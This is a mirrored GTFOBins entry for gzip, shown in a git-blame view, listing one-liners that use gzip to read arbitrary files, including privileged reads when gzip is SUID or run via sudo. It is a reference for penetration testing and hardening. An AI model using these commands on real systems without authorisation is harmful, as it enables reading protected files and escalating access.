1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-11-03 12:39:17 +01:00
GTFOBins.github.io/_gtfobins/gzip.md

20 lines
552 B
Markdown
Raw Permalink Normal View History

2021-03-02 17:26:14 +01:00
---
description: There are also a number of other utilities that rely on `gzip` under the hood, e.g., `zless`, `zcat`, `gunzip`, etc. Besides having similar features, they also allow privileged reads if `gzip` itself is SUID.
2021-03-02 17:26:14 +01:00
functions:
file-read:
- code: |
LFILE=file_to_read
gzip -f $LFILE -t
2021-04-11 17:44:26 +02:00
- code: |
LFILE=file_to_read
gzip -c $LFILE | gzip -d
2021-03-02 17:26:14 +01:00
suid:
- code: |
LFILE=file_to_read
./gzip -f $LFILE -t
sudo:
- code: |
LFILE=file_to_read
sudo gzip -f $LFILE -t
---